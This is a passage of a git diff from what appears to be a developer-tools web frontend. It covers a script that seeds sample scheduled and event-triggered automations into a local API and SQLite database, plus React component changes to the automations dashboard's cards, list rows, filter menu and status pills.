schedule: "0 12 * * 3", timezone: "America/Los_Angeles" }, + scheduleHuman: "Wednesdays at 12:00", + lastTriggeredHoursAgo: null, + runs: [], + }, + { + name: "Design Token Audit", + prompt: + "Scan acme/frontend-app for hardcoded hex colors and spacing values that should use design tokens. Group by file and suggest replacements.", + model: "docs-fast", + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 5 * * 2", timezone: "UTC" }, + scheduleHuman: "Tuesdays at 05:00", + lastTriggeredHoursAgo: 70, + runs: [ + ["COMPLETED", 70, 0.58], + ["COMPLETED", 238, 0.62], + ], + }, + { + name: "Sentry Spike Explainer", + prompt: + "When Sentry error volume spikes 3x hour-over-hour, explain the top stack traces and whether a recent deploy is implicated.", + model: "incident-summary", + enabled: true, + trigger: { + type: "event", + source: "sentry", + on: "metric.alert", + filter: "alert.name == 'error-volume-spike'", + }, + lastTriggeredHoursAgo: 15, + runs: [ + ["COMPLETED", 15, 0.44], + ["FAILED", 40, 0.12], + ["COMPLETED", 90, 0.49], + ], + }, + { + name: "GitLab MR Review", + prompt: + "Review newly opened merge requests in acme/data-platform. Focus on SQL safety, partition filters, and cost of full-table scans.", + model: "review-fast", + timeout: 1800, + enabled: true, + repos: [{ url: "acme/data-platform", ref: "main", provider: "gitlab" }], + trigger: { + type: "event", + source: "gitlab", + on: "merge_request.opened", + }, + lastTriggeredHoursAgo: 18, + runs: [ + ["COMPLETED", 18, 0.91], + ["COMPLETED", 41, 0.84], + ["COMPLETED", 73, 0.88], + ], + }, + { + name: "Bitbucket Nightly Diff", + prompt: + "Summarize commits landed in acme/legacy-billing since yesterday and flag schema migrations.", + model: "triage-fast", + enabled: true, + repos: [{ url: "acme/legacy-billing", ref: "master", provider: "bitbucket" }], + trigger: { type: "cron", schedule: "0 2 * * *", timezone: "UTC" }, + scheduleHuman: "Daily at 02:00", + lastTriggeredHoursAgo: 13, + runs: [ + ["COMPLETED", 13, 0.21], + ["COMPLETED", 37, 0.19], + ["FAILED", 61, null], + ["COMPLETED", 85, 0.2], + ], + }, + { + name: "Customer Quote Miner", + prompt: + "Read #win-stories and #support. Extract reusable customer quotes and file them in acme/handbook/sales-quotes.md.", + model: "standup-fast", + enabled: false, + repos: [{ url: "acme/handbook", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 15 * * 5", timezone: "America/New_York" }, + scheduleHuman: "Fridays at 15:00", + lastTriggeredHoursAgo: 400, + runs: [ + ["COMPLETED", 400, 0.13], + ], + }, + { + name: "Pending Dispatch Smoke", + prompt: + "No-op smoke automation used to preview a queued PENDING run in the activity log.", + model: "fast", + enabled: true, + trigger: { type: "cron", schedule: "0 * * * *", timezone: "UTC" }, + scheduleHuman: "Hourly", + lastTriggeredHoursAgo: 0.05, + pending: true, + runs: [ + ["COMPLETED", 1.1, 0.03], + ["COMPLETED", 2.1, 0.03], + ], + }, +]; + +function toHexUuid(id) { + return id.replaceAll("-", ""); +} + +function sqlQuote(value) { + if (value == null) return "NULL"; + if (typeof value === "number") return String(value); + return `'${String(value).replaceAll("'", "''")}'`; +} + +function sqlite(sql) { + return execFileSync("sqlite3", [DB_PATH, sql], { encoding: "utf8" }).trim(); +} + +async function api(path, { method = "GET", body } = {}) { + const response = await fetch(`${BASE_URL}${path}`, { + method, + headers: { + "X-Session-API-Key": API_KEY, + "Content-Type": "application/json", + }, + ...(body !== undefined ? { body: JSON.stringify(body) } : {}), + }); + const text = await response.text(); + let data = null; + if (text) { + try { + data = JSON.parse(text); + } catch { + data = text; + } + } + if (!response.ok) { + throw new Error( + `${method} ${path} failed (${response.status}): ${typeof data === "string" ? data : JSON.stringify(data)}`, + ); + } + return data; +} + +async function deleteExistingSeeds() { + const list = await api("/api/automation/v1?limit=100"); + const names = new Set(["_probe", ...SEEDS.map((seed) => seed.name)]); + for (const automation of list.automations ?? []) { + if (!names.has(automation.name)) continue; + await api(`/api/automation/v1/${automation.id}`, { method: "DELETE" }); + console.log(`deleted ${automation.name}`); + } +} + +function insertRuns(automationId, seed) { + const hexAutomationId = toHexUuid(automationId); + const rows = []; + + if (seed.running || seed.pending) { + const started = hoursAgo(seed.pending ? 0.05 : 0.25); + const timeout = new Date(Date.now() + 7 * 86_400_000); + rows.push({ + id: toHexUuid(randomUUID()), + status: seed.pending ? "PENDING" : "RUNNING", + error: null, + started, + completed: null, + conversationId: seed.pending + ? null + : `conv-ux-${toHexUuid(randomUUID()).slice(0, 8)}`, + bashCommandId: seed.pending + ? null + : `cmd-ux-${toHexUuid(randomUUID()).slice(0, 8)}`, + cost: null, + timeout, + }); + } + + for (const [status, hours, cost] of seed.runs) { + const started = hoursAgo(hours); + const durationMs = + status === "SKIPPED" ? 8_000 : 90_000 + Math.round(Math.random() * 180_000); + const completed = + status === "RUNNING" ? null : new Date(started.getTime() + durationMs); + const failedBeforeSandbox = status === "FAILED" && cost == null; + rows.push({ + id: toHexUuid(randomUUID()), + status, + error: + status === "FAILED" + ? failedBeforeSandbox + ? "Sandbox provisioning failed: no available runtime" + : "Process exited with code 1" + : null, + started, + completed, + conversationId: failedBeforeSandbox + ? null + : `conv-ux-${toHexUuid(randomUUID()).slice(0, 8)}`, + bashCommandId: failedBeforeSandbox + ? null + : `cmd-ux-${toHexUuid(randomUUID()).slice(0, 8)}`, + cost, + timeout: null, + }); + } + + for (const row of rows) { + sqlite(` + INSERT INTO automation_runs ( + id, automation_id, status, error_detail, created_at, started_at, + completed_at, conversation_id, timeout_at, sandbox_id, event_payload, + bash_command_id, telemetry_distinct_id, cost + ) VALUES ( + ${sqlQuote(row.id)}, + ${sqlQuote(hexAutomationId)}, + ${sqlQuote(row.status)}, + ${sqlQuote(row.error)}, + ${sqlQuote(row.started.toISOString())}, + ${sqlQuote(row.started.toISOString())}, + ${sqlQuote(row.completed ? row.completed.toISOString() : null)}, + ${sqlQuote(row.conversationId)}, + ${sqlQuote(row.timeout ? row.timeout.toISOString() : null)}, + ${sqlQuote(row.conversationId ? `sbx-ux-${row.id.slice(0, 8)}` : null)}, + NULL, + ${sqlQuote(row.bashCommandId)}, + NULL, + ${sqlQuote(row.cost)} + ); + `); + } + + return rows.length; +} + +function decorateAutomation(automationId, seed) { + const hexId = toHexUuid(automationId); + const trigger = { + ...seed.trigger, + ...(seed.scheduleHuman ? { schedule_human: seed.scheduleHuman } : {}), + }; + const lastTriggered = + seed.lastTriggeredHoursAgo == null + ? null + : hoursAgo(seed.lastTriggeredHoursAgo).toISOString(); + + sqlite(` + UPDATE automations + SET + trigger = ${sqlQuote(JSON.stringify(trigger))}, + last_triggered_at = ${sqlQuote(lastTriggered)}, + updated_at = ${sqlQuote(new Date().toISOString())} + WHERE id = ${sqlQuote(hexId)}; + `); +} + +async function createSeed(seed) { + const created = await api("/api/automation/v1/preset/prompt", { + method: "POST", + body: { + name: seed.name, + prompt: seed.prompt, + trigger: seed.trigger, + ...(seed.model ? { model: seed.model } : {}), + ...(seed.timeout != null ? { timeout: seed.timeout } : {}), + ...(seed.repos ? { repos: seed.repos } : {}), + }, + }); + + if (created.enabled !== seed.enabled) { + await api(`/api/automation/v1/${created.id}`, { + method: "PATCH", + body: { enabled: seed.enabled }, + }); + } + + decorateAutomation(created.id, seed); + const runCount = insertRuns(created.id, seed); + console.log( + `seeded ${seed.name} (${created.id}) — ${runCount} runs, enabled=${seed.enabled}`, + ); + return created; +} + +async function main() { + const health = await api("/api/automation/health"); + if (health.status !== "ok") { + throw new Error(`Automation backend is not healthy: ${JSON.stringify(health)}`); + } + + await deleteExistingSeeds(); + for (const seed of SEEDS) { + await createSeed(seed); + } + + const list = await api("/api/automation/v1?limit=100"); + console.log(`\n${list.total} automations ready at ${BASE_URL}/automations`); +} + +main().catch((error) => { + console.error(error.message); + process.exit(1); +}); diff --git a/src/components/features/automations/add-automation-menu.tsx b/src/components/features/automations/add-automation-menu.tsx new file mode 100644 index 000000000000..9edfeb53ae39 --- /dev/null +++ b/src/components/features/automations/add-automation-menu.tsx @@ -0,0 +1,151 @@ +import { useEffect, useLayoutEffect, useRef, useState } from "react"; +import ReactDOM from "react-dom"; +import { ChevronDown, FileUp, Plus } from "lucide-react"; +import { useTranslation } from "react-i18next"; +import { ContextMenuListItem } from "#/components/features/context-menu/context-menu-list-item"; +import { BrandButton } from "#/components/features/settings/brand-button"; +import { I18nKey } from "#/i18n/declaration"; +import { ContextMenu } from "#/ui/context-menu"; +import { KebabMenuItemContent } from "./kebab-menu-item-content"; + +interface AddAutomationMenuProps { + onAdd: () => void; + onImport: () => void; + isAddDisabled?: boolean; +} + +export function AddAutomationMenu({ + onAdd, + onImport, + isAddDisabled = false, +}: AddAutomationMenuProps) { + const { t } = useTranslation("openhands"); + const [open, setOpen] = useState(false); + const [portalStyle, setPortalStyle] = useState(); + const triggerRef = useRef(null); + const menuRef = useRef(null); + + useLayoutEffect(() => { + if (!open || !triggerRef.current) return undefined; + + const updatePosition = () => { + const rect = triggerRef.current?.getBoundingClientRect(); + if (!rect) return; + + setPortalStyle({ + position: "fixed", + zIndex: 9999, + top: rect.bottom + 2, + right: window.innerWidth - rect.right, + }); + }; + + updatePosition(); + window.addEventListener("resize", updatePosition); + window.addEventListener("scroll", updatePosition, true); + return () => { + window.removeEventListener("resize", updatePosition); + window.removeEventListener("scroll", updatePosition, true); + }; + }, [open]); + + useEffect(() => { + if (!open) return undefined; + + const handleClickOutside = (event: MouseEvent) => { + const target = event.target as Node; + if ( + triggerRef.current?.contains(target) || + menuRef.current?.contains(target) + ) { + return; + } + setOpen(false); + }; + + const handleEscape = (event: KeyboardEvent) => { + if (event.key === "Escape") { + setOpen(false); + } + }; + + document.addEventListener("mousedown", handleClickOutside); + document.addEventListener("keydown", handleEscape); + return () => { + document.removeEventListener("mousedown", handleClickOutside); + document.removeEventListener("keydown", handleEscape); + }; + }, [open]); + + const closeAnd = (action: () => void) => { + action(); + setOpen(false); + }; + + const menu = + open && portalStyle ? ( + +
  • + { + if (isAddDisabled) return; + closeAnd(onAdd); + }} + > + } + label={t(I18nKey.AUTOMATIONS$CREATE_AUTOMATION_BUTTON)} + /> + +
  • +
  • + closeAnd(onImport)} + > + } + label={t(I18nKey.AUTOMATIONS$IMPORT)} + /> + +
  • +
    + ) : null; + + return ( + <> + setOpen((current) => !current)} + > + {t(I18nKey.AUTOMATIONS$ADD_AUTOMATION)} + + + + {open && portalStyle && typeof document !== "undefined" + ? ReactDOM.createPortal( +
    {menu}
    , + document.body, + ) + : null} + + ); +} diff --git a/src/components/features/automations/automation-action-button-classes.ts b/src/components/features/automations/automation-action-button-classes.ts index 532a8aef7e0b..5409644dad7e 100644 --- a/src/components/features/automations/automation-action-button-classes.ts +++ b/src/components/features/automations/automation-action-button-classes.ts @@ -5,9 +5,3 @@ export const automationIconActionButtonClassName = cn( "inline-flex size-8 shrink-0 cursor-pointer items-center justify-center rounded-md border-0 bg-transparent text-muted hover:bg-interactive-hover hover:text-white focus-visible:outline-none disabled:cursor-not-allowed disabled:opacity-50 disabled:hover:bg-transparent disabled:hover:text-muted", dropdownInstantColorClassName, ); - -/** Text + icon Run now control on automation grid cards (matches kebab height). */ -export const automationRunNowTextButtonClassName = cn( - "inline-flex h-8 shrink-0 cursor-pointer items-center gap-1.5 rounded-md border-0 bg-transparent px-2 text-xs text-muted hover:bg-interactive-hover hover:text-white focus-visible:outline-none disabled:cursor-not-allowed disabled:opacity-50 disabled:hover:bg-transparent disabled:hover:text-muted", - dropdownInstantColorClassName, -); diff --git a/src/components/features/automations/automation-card-skeleton.tsx b/src/components/features/automations/automation-card-skeleton.tsx index a583cf28e83c..c447abe2b408 100644 --- a/src/components/features/automations/automation-card-skeleton.tsx +++ b/src/components/features/automations/automation-card-skeleton.tsx @@ -8,14 +8,19 @@ export function AutomationCardSkeleton() { >
    -
    +
    -
    +
    +
    +
    +
    +
    +
    ); } diff --git a/src/components/features/automations/automation-card.tsx b/src/components/features/automations/automation-card.tsx index a75c0cc6504c..2b2de2503820 100644 --- a/src/components/features/automations/automation-card.tsx +++ b/src/components/features/automations/automation-card.tsx @@ -1,29 +1,36 @@ +import { Tooltip } from "@heroui/react"; import { useMemo } from "react"; import { useTranslation } from "react-i18next"; import { I18nKey } from "#/i18n/declaration"; import type { Automation } from "#/types/automation"; +import { AutomationRunStatus } from "#/types/automation"; import { KebabMenu } from "./kebab-menu"; import { useHasPermission } from "#/hooks/use-has-permission"; import { useNavigation } from "#/context/navigation-context"; import PlayIcon from "#/icons/play.svg?react"; -import ClockIcon from "#/icons/clock.svg?react"; -import { Zap } from "lucide-react"; import { SkillCardPillRow } from "#/components/features/skills/skill-card-pill-row"; +import { StyledTooltip } from "#/components/shared/buttons/styled-tooltip"; import { cn } from "#/utils/utils"; +import { formatRelativeTime } from "#/utils/format-relative-time"; +import { buildAutomationMetadataPills } from "./build-automation-pills"; +import { buildAutomationMenuItems } from "./build-automation-menu-items"; +import { automationIconActionButtonClassName } from "./automation-action-button-classes"; +import { AutomationRunStats } from "./automation-run-insights"; +import { automationCardStatusStripClassName } from "./automation-view-mode"; import { extensionModuleCardInteractiveClassName, extensionModuleCardSurfaceClassName, } from "#/utils/extension-module-card-classes"; -import { buildAutomationMetadataPills } from "./build-automation-pills"; -import { buildAutomationMenuItems } from "./build-automation-menu-items"; -import { automationRunNowTextButtonClassName } from "./automation-action-button-classes"; -import { AutomationHealthBadge } from "./automation-health-badge"; -import { AutomationRunStats, lastRunText } from "./automation-run-insights"; -import { - deriveAutomationHealth, - type RunSummaryState, -} from "#/manifests/automation-insights"; +import { toLatestRunState } from "./to-latest-run-state"; +import { RunStatusBadge } from "./detail/run-status-badge"; +import { AutomationRunActivitySparkline } from "#/components/features/home/featured-automations/automation-run-activity-sparkline"; +import type { RunSummaryState } from "#/manifests/automation-insights"; import type { InterfaceListInsights } from "#/manifests/types"; +import { + getLastRunTimestamp, + shortenAutomationErrorDetail, + shouldShowAutomationErrorHovercard, +} from "#/components/features/home/featured-automations/automation-run-health"; /** Run insights shown when the manifest declares the dashboard surface. */ export interface AutomationInsightsProps { @@ -53,7 +60,7 @@ export function AutomationCard({ insights, }: AutomationCardProps) { const { navigate } = useNavigation(); - const { t } = useTranslation("openhands"); + const { t, i18n } = useTranslation("openhands"); const canManage = useHasPermission("manage_automations"); const scheduleLabel = @@ -80,89 +87,173 @@ export function AutomationCard({ onDelete, }); - const handleCardClick = () => { - handleView(); - }; + const runState = toLatestRunState(insights?.state); + const { latestRun, recentRuns, isLoading, isError } = runState; + const timestamp = latestRun ? getLastRunTimestamp(latestRun) : null; + const errorDetail = + latestRun?.status === AutomationRunStatus.FAILED + ? latestRun.error_detail?.trim() || null + : null; + const shortErrorDetail = errorDetail + ? shortenAutomationErrorDetail(errorDetail) + : null; + const showErrorHovercard = + errorDetail != null && + shortErrorDetail != null && + shouldShowAutomationErrorHovercard(errorDetail, shortErrorDetail); + const disableAnimation = import.meta.env.MODE === "test"; return (
    { - if (e.key === "Enter") handleCardClick(); + onClick={handleView} + onKeyDown={(event) => { + if (event.key === "Enter") handleView(); }} className={cn( - "flex min-w-0 flex-col gap-3 overflow-hidden p-4 text-left", + "group relative flex min-w-0 flex-col overflow-hidden p-4 text-left", extensionModuleCardSurfaceClassName, extensionModuleCardInteractiveClassName, )} > -
    -
    -

    - {automation.trigger.type === "event" ? ( -

    + ) : null} {insights ? ( -
    - - - {`${insights.spec.lastRun.label} ${lastRunText( - insights.state?.summary?.latestRun?.started_at ?? - automation.last_triggered_at, - insights.spec.lastRun, - t(I18nKey.CONVERSATION$AGO), - )}`} - -
    - ) : null} +
    +
    + {isLoading ? ( + + + {timestamp ? ( + + {formatRelativeTime(timestamp, i18n.language, t)} + + ) : null} +
    ) : null} {insights ? ( - +
    + +
    ) : null}
    ); diff --git a/src/components/features/automations/automation-group.tsx b/src/components/features/automations/automation-group.tsx index 85e9006c04ab..017dc24f50d2 100644 --- a/src/components/features/automations/automation-group.tsx +++ b/src/components/features/automations/automation-group.tsx @@ -4,7 +4,7 @@ import { AutomationCard } from "./automation-card"; import { AutomationListRow } from "./automation-list-row"; import { StatusBadge } from "./status-badge"; import { - automationListTableClassName, + automationActivityListClassName, type AutomationViewMode, } from "./automation-view-mode"; import { @@ -79,41 +79,26 @@ export function AutomationGroup({
    ) : ( -
    - tbody>tr:first-child]:border-t-0", - insights && "table-fixed", - )} - > - - {automations.map((automation) => ( - - ))} - -
    -
    +
      + {automations.map((automation) => ( + + ))} +
    )} ); diff --git a/src/components/features/automations/automation-list-row.tsx b/src/components/features/automations/automation-list-row.tsx index cdb49c61c344..80a1a59d47f5 100644 --- a/src/components/features/automations/automation-list-row.tsx +++ b/src/components/features/automations/automation-list-row.tsx @@ -1,31 +1,38 @@ -import { useMemo } from "react"; +import { Tooltip } from "@heroui/react"; import { useTranslation } from "react-i18next"; +import { Zap } from "lucide-react"; import { I18nKey } from "#/i18n/declaration"; import type { Automation } from "#/types/automation"; import { KebabMenu } from "./kebab-menu"; import { useHasPermission } from "#/hooks/use-has-permission"; import { useNavigation } from "#/context/navigation-context"; +import { NavigationLink } from "#/components/shared/navigation-link"; import PlayIcon from "#/icons/play.svg?react"; import ClockIcon from "#/icons/clock.svg?react"; -import { Zap } from "lucide-react"; import { StyledTooltip } from "#/components/shared/buttons/styled-tooltip"; -import { SkillCardPillRow } from "#/components/features/skills/skill-card-pill-row"; import { cn } from "#/utils/utils"; +import { formatRelativeTime } from "#/utils/format-relative-time"; +import { extensionModuleCardPillClassName } from "#/utils/extension-module-card-classes"; import { automationIconActionButtonClassName } from "./automation-action-button-classes"; -import { buildAutomationMetadataPills } from "./build-automation-pills"; import { buildAutomationMenuItems } from "./build-automation-menu-items"; +import { automationActivityRowClassName } from "./automation-view-mode"; +import { RunStatusBadge } from "./detail/run-status-badge"; +import { AutomationRunActivitySparkline } from "#/components/features/home/featured-automations/automation-run-activity-sparkline"; +import { AutomationHealthIndicator } from "#/components/features/home/featured-automations/automation-health-indicator"; import { - automationListRowClassName, - automationListCellClassName, -} from "./automation-view-mode"; -import { AutomationHealthBadge } from "./automation-health-badge"; + HomeAutomationRunTooltip, + getRunStatusLabelKey, +} from "#/components/features/home/featured-automations/home-automation-run-tooltip"; import { - averageDurationDisplay, - lastRunText, - runCountDisplay, -} from "./automation-run-insights"; -import { deriveAutomationHealth } from "#/manifests/automation-insights"; + deriveRunHealth, + formatTriggerSourceLabel, + getLastRunTimestamp, + getTriggerEventLabel, + getTriggerScheduleLabel, + getTriggerSource, +} from "#/components/features/home/featured-automations/automation-run-health"; import type { AutomationInsightsProps } from "./automation-card"; +import { toLatestRunState } from "./to-latest-run-state"; interface AutomationListRowProps { automation: Automation; @@ -49,16 +56,9 @@ export function AutomationListRow({ insights, }: AutomationListRowProps) { const { navigate } = useNavigation(); - const { t } = useTranslation("openhands"); + const { t, i18n } = useTranslation("openhands"); const canManage = useHasPermission("manage_automations"); - const scheduleLabel = - automation.trigger.schedule_human || automation.trigger.type; - const pills = useMemo( - () => buildAutomationMetadataPills(automation, scheduleLabel), - [automation, scheduleLabel], - ); - const handleView = () => { navigate?.(`/automations/${automation.id}`); }; @@ -76,119 +76,147 @@ export function AutomationListRow({ onDelete, }); - const handleRowClick = () => { - handleView(); - }; + const isEventTrigger = automation.trigger.type === "event"; + const TriggerIcon = isEventTrigger ? Zap : ClockIcon; + const triggerEventLabel = getTriggerEventLabel(automation); + const triggerScheduleLabel = getTriggerScheduleLabel(automation); + const triggerSource = getTriggerSource(automation); + const hasTriggerMeta = Boolean( + triggerEventLabel || triggerScheduleLabel || triggerSource, + ); + + const runState = toLatestRunState(insights?.state); + const health = deriveRunHealth(runState); + const latestRun = runState.latestRun; + const lastRunAt = latestRun + ? getLastRunTimestamp(latestRun) + : automation.last_triggered_at; + const whenLabel = lastRunAt + ? formatRelativeTime(lastRunAt, i18n.language, t) + : null; + const hasMeta = + hasTriggerMeta || Boolean(whenLabel) || Boolean(latestRun?.status); + const detailHref = `/automations/${encodeURIComponent(automation.id)}`; + const statusLabelKey = getRunStatusLabelKey(runState); + const disableAnimation = import.meta.env.MODE === "test"; return ( - { - if (event.key === "Enter") { - handleRowClick(); - } - }} - tabIndex={0} - className={cn(automationListRowClassName, "cursor-pointer")} + className={automationActivityRowClassName} > - -
    - {automation.trigger.type === "event" ? ( -
    - + + } + placement="top-start" + closeDelay={100} + disableAnimation={disableAnimation} + className="rounded-xl border border-[var(--oh-border)] bg-base-secondary p-0 text-white shadow-xl" + > + +
    + + + + + {automation.name} + + {hasMeta ? ( + + + ) : null} + {t(statusLabelKey)} +
    +
    +
    - {insights ? ( - <> - + {insights ? ( + + ) : null} + {canManage ? ( + - - - - {lastRunText( - insights.state?.summary?.latestRun?.started_at ?? - automation.last_triggered_at, - insights.spec.lastRun, - t(I18nKey.CONVERSATION$AGO), - )} - - - {`${runCountDisplay(insights.state)} · ${averageDurationDisplay(insights.state)}`} - - - ) : null} - - -
    - {canManage ? ( - { + event.stopPropagation(); + onRunNow(automation.id); + }} + className={automationIconActionButtonClassName} > - - - ) : null} - -
    - - + + +
    + ) : null} + +
    + ); } diff --git a/src/components/features/automations/automation-run-insights.tsx b/src/components/features/automations/automation-run-insights.tsx index 529f79c49f24..ec92bcca30f4 100644 --- a/src/components/features/automations/automation-run-insights.tsx +++ b/src/components/features/automations/automation-run-insights.tsx @@ -57,7 +57,7 @@ export function AutomationRunStats({ state, copy }: AutomationRunStatsProps) { return (
    {cells.map((cell) => (
    diff --git a/src/components/features/automations/automation-view-mode.ts b/src/components/features/automations/automation-view-mode.ts index bdb4c3bba560..308222c5295e 100644 --- a/src/components/features/automations/automation-view-mode.ts +++ b/src/components/features/automations/automation-view-mode.ts @@ -15,8 +15,13 @@ export function writeStoredAutomationViewMode(view: AutomationViewMode): void { window.localStorage.setItem(AUTOMATIONS_VIEW_MODE_STORAGE_KEY, view); } -export { - tableContainerClassName as automationListTableClassName, - tableRowInteractiveClassName as automationListRowClassName, - tableCellClassName as automationListCellClassName, -} from "#/utils/table-row-classes"; +/** Shared chrome for the dashboard list and the home activity list. */ +export const automationActivityListClassName = + "divide-y divide-[var(--oh-border-subtle)] overflow-hidden rounded-xl border border-[var(--oh-border-subtle)] bg-[var(--oh-surface)]"; + +export const automationActivityRowClassName = + "group relative flex items-stretch transition-colors hover:bg-surface-raised has-[:focus-visible]:bg-surface-raised"; + +/** Inset last-run strip used under the trigger/sparkline row. */ +export const automationCardStatusStripClassName = + "mt-3 flex min-h-9 items-center justify-between gap-2 overflow-hidden rounded-md border border-[var(--oh-border-subtle)] bg-[var(--oh-surface)] px-3 py-2 text-xs"; diff --git a/src/components/features/automations/build-automation-pills.tsx b/src/components/features/automations/build-automation-pills.tsx index 4fa3cc8ca0d7..15e1f9cbaeec 100644 --- a/src/components/features/automations/build-automation-pills.tsx +++ b/src/components/features/automations/build-automation-pills.tsx @@ -1,12 +1,19 @@ import FolderIcon from "#/icons/folder.svg?react"; import ClockIcon from "#/icons/clock.svg?react"; import SparkleIcon from "#/icons/sparkle.svg?react"; -import { Zap } from "lucide-react"; +import { Plug, Zap } from "lucide-react"; +import { INTEGRATION_CATALOG as MCP_MARKETPLACE } from "@openhands/extensions/integrations"; import type { SkillCardPill } from "#/components/features/skills/skill-card-pill-row"; +import { McpLogoBadge } from "#/components/features/mcp-logo-badge"; import type { Automation } from "#/types/automation"; import { cn } from "#/utils/utils"; import { extensionModuleCardPillClassName } from "#/utils/extension-module-card-classes"; -import { formatEventOn } from "#/utils/automation-schedule"; +import { getMarketplaceEntryById } from "#/utils/mcp-marketplace-utils"; +import { + formatTriggerSourceLabel, + getTriggerEventLabel, + getTriggerSource, +} from "#/components/features/home/featured-automations/automation-run-health"; export function buildAutomationMetadataPills( automation: Automation, @@ -27,22 +34,47 @@ export function buildAutomationMetadataPills( } if (automation.trigger.type === "event") { - const eventLabel = [ - automation.trigger.on ? formatEventOn(automation.trigger.on) : "", - automation.trigger.source ? `(${automation.trigger.source})` : "", - ] - .filter(Boolean) - .join(" "); + const eventLabel = getTriggerEventLabel(automation); + if (eventLabel) { + pills.push({ + id: "event-trigger", + node: ( + + + ), + }); + } - pills.push({ - id: "event-trigger", - node: ( - - - ), - }); + const source = getTriggerSource(automation); + if (source) { + const sourceEntry = getMarketplaceEntryById( + source.toLowerCase(), + MCP_MARKETPLACE, + ); + pills.push({ + id: "event-source", + node: ( + + {sourceEntry ? ( + + ) : ( + + ), + }); + } } else { pills.push({ id: "schedule", diff --git a/src/components/features/automations/create-instructions.tsx b/src/components/features/automations/create-instructions.tsx index d1227e4979ce..6032278c547d 100644 --- a/src/components/features/automations/create-instructions.tsx +++ b/src/components/features/automations/create-instructions.tsx @@ -68,18 +68,18 @@ export function CreateInstructionsContent({ i18nKey={I18nKey.AUTOMATIONS$EMPTY_OPTION_CONVERSATION_DESC} components={CREATE_INSTRUCTIONS_INLINE_COMPONENTS} />{" "} - {t(I18nKey.AUTOMATIONS$CREATE_INSTRUCTIONS_GUIDANCE)} -

    - -
    + {t(I18nKey.AUTOMATIONS$CREATE_INSTRUCTIONS_GUIDANCE)}{" "} {t(I18nKey.AUTOMATIONS$EMPTY_LEARN_MORE)} +

    + +
    -

    - {t(I18nKey.AUTOMATIONS$EMPTY_HOW_TO_CREATE_TITLE)} -

    -
    - -
    +
    ); } diff --git a/src/components/features/automations/dashboard/automations-dashboard-controls.tsx b/src/components/features/automations/dashboard/automations-dashboard-controls.tsx index 74b85de13710..e5cdb9a06c14 100644 --- a/src/components/features/automations/dashboard/automations-dashboard-controls.tsx +++ b/src/components/features/automations/dashboard/automations-dashboard-controls.tsx @@ -1,10 +1,32 @@ +import { type ReactNode, useState } from "react"; +import { ChevronDown, ListFilter } from "lucide-react"; +import { useTranslation } from "react-i18next"; +import { I18nKey } from "#/i18n/declaration"; import { EnumFilterDropdown } from "#/components/shared/filters/enum-filter-dropdown"; +import { useClickOutsideElement } from "#/hooks/use-click-outside-element"; import type { DashboardSpec } from "#/manifests/automation-interface"; import type { DashboardSortValue, DashboardStatusValue, DashboardTriggerValue, } from "#/manifests/types"; +import { dropdownFilterTriggerClassName } from "#/utils/dropdown-classes"; +import { cn } from "#/utils/utils"; + +function FilterField({ + label, + children, +}: { + label: string; + children: ReactNode; +}) { + return ( +
    + {label} + {children} +
    + ); +} function toLabelMap( options: readonly { value: T; label: string }[], @@ -25,9 +47,10 @@ interface AutomationsDashboardControlsProps { } /** - * The manifest-declared filter and sort dropdowns, in the manifest's order. - * Which filters exist, their options, and every caption are the manifest's; - * the predicates and comparators behind the values are the host's. + * One Filters trigger that nests the manifest-declared status, trigger, and + * sort dropdowns. Which filters exist, their options, and every caption stay + * the manifest's; the predicates and comparators behind the values stay the + * host's. */ export function AutomationsDashboardControls({ spec, @@ -38,39 +61,120 @@ export function AutomationsDashboardControls({ onTriggerChange, onSortChange, }: AutomationsDashboardControlsProps) { + const { t } = useTranslation("openhands"); + const [open, setOpen] = useState(false); + const containerRef = useClickOutsideElement(() => + setOpen(false), + ); + + const statusFilter = spec.filters.find((filter) => filter.id === "status"); + const triggerFilter = spec.filters.find((filter) => filter.id === "trigger"); + const activeCount = [ + statusFilter && status !== statusFilter.options[0]?.value, + triggerFilter && trigger !== triggerFilter.options[0]?.value, + sort !== spec.sort.default, + ].filter(Boolean).length; + const filtersLabel = t(I18nKey.AUTOMATIONS$FILTERS); + const defaultStatus = statusFilter?.options[0]?.value; + const defaultTrigger = triggerFilter?.options[0]?.value; + + const resetAll = () => { + if (defaultStatus) onStatusChange(defaultStatus); + if (defaultTrigger) onTriggerChange(defaultTrigger); + onSortChange(spec.sort.default); + }; + return ( - <> - {spec.filters.map((filter) => - filter.id === "status" ? ( - option.value)} - labelByValue={toLabelMap(filter.options)} - ariaLabel={filter.label} - /> - ) : ( - option.value)} - labelByValue={toLabelMap(filter.options)} - ariaLabel={filter.label} - /> - ), - )} - option.value)} - labelByValue={toLabelMap(spec.sort.options)} - ariaLabel={spec.sort.label} - /> - +
    + + + {open ? ( +
    + {statusFilter ? ( + + option.value)} + labelByValue={toLabelMap(statusFilter.options)} + ariaLabel={statusFilter.label} + fullWidth + /> + + ) : null} + {triggerFilter ? ( + + option.value)} + labelByValue={toLabelMap(triggerFilter.options)} + ariaLabel={triggerFilter.label} + fullWidth + /> + + ) : null} + + option.value)} + labelByValue={toLabelMap(spec.sort.options)} + ariaLabel={spec.sort.label} + fullWidth + /> + + {activeCount > 0 ? ( + + ) : null} +
    + ) : null} +
    ); } diff --git a/src/components/features/automations/dashboard/use-automation-sub-page-nav.ts b/src/components/features/automations/dashboard/use-automation-sub-page-nav.ts index cc1426dcf109..7b5cda2e5479 100644 --- a/src/components/features/automations/dashboard/use-automation-sub-page-nav.ts +++ b/src/components/features/automations/dashboard/use-automation-sub-page-nav.ts @@ -30,7 +30,12 @@ export function useAutomationSubPageNav(): AutomationSubPageNav | null { .map((item) => ({ to: item.to, label: item.label, - Icon: MANIFEST_ICON_BY_SLUG[item.icon], + // Templates is a catalog, so the host always shows the library icon + // even while the published manifest still names sparkles. + Icon: + item.page === "templates" + ? MANIFEST_ICON_BY_SLUG.library + : MANIFEST_ICON_BY_SLUG[item.icon], testId: `automations-navigation-${item.page}`, })), }; diff --git a/src/components/features/automations/detail/run-status-badge.tsx b/src/components/features/automations/detail/run-status-badge.tsx index 27b2ade21cf3..3a5326e6dc23 100644 --- a/src/components/features/automations/detail/run-status-badge.tsx +++ b/src/components/features/automations/detail/run-status-badge.tsx @@ -27,33 +27,32 @@ const statusConfig: Record< > = { [AutomationRunStatus.COMPLETED]: { label: I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL, - style: - 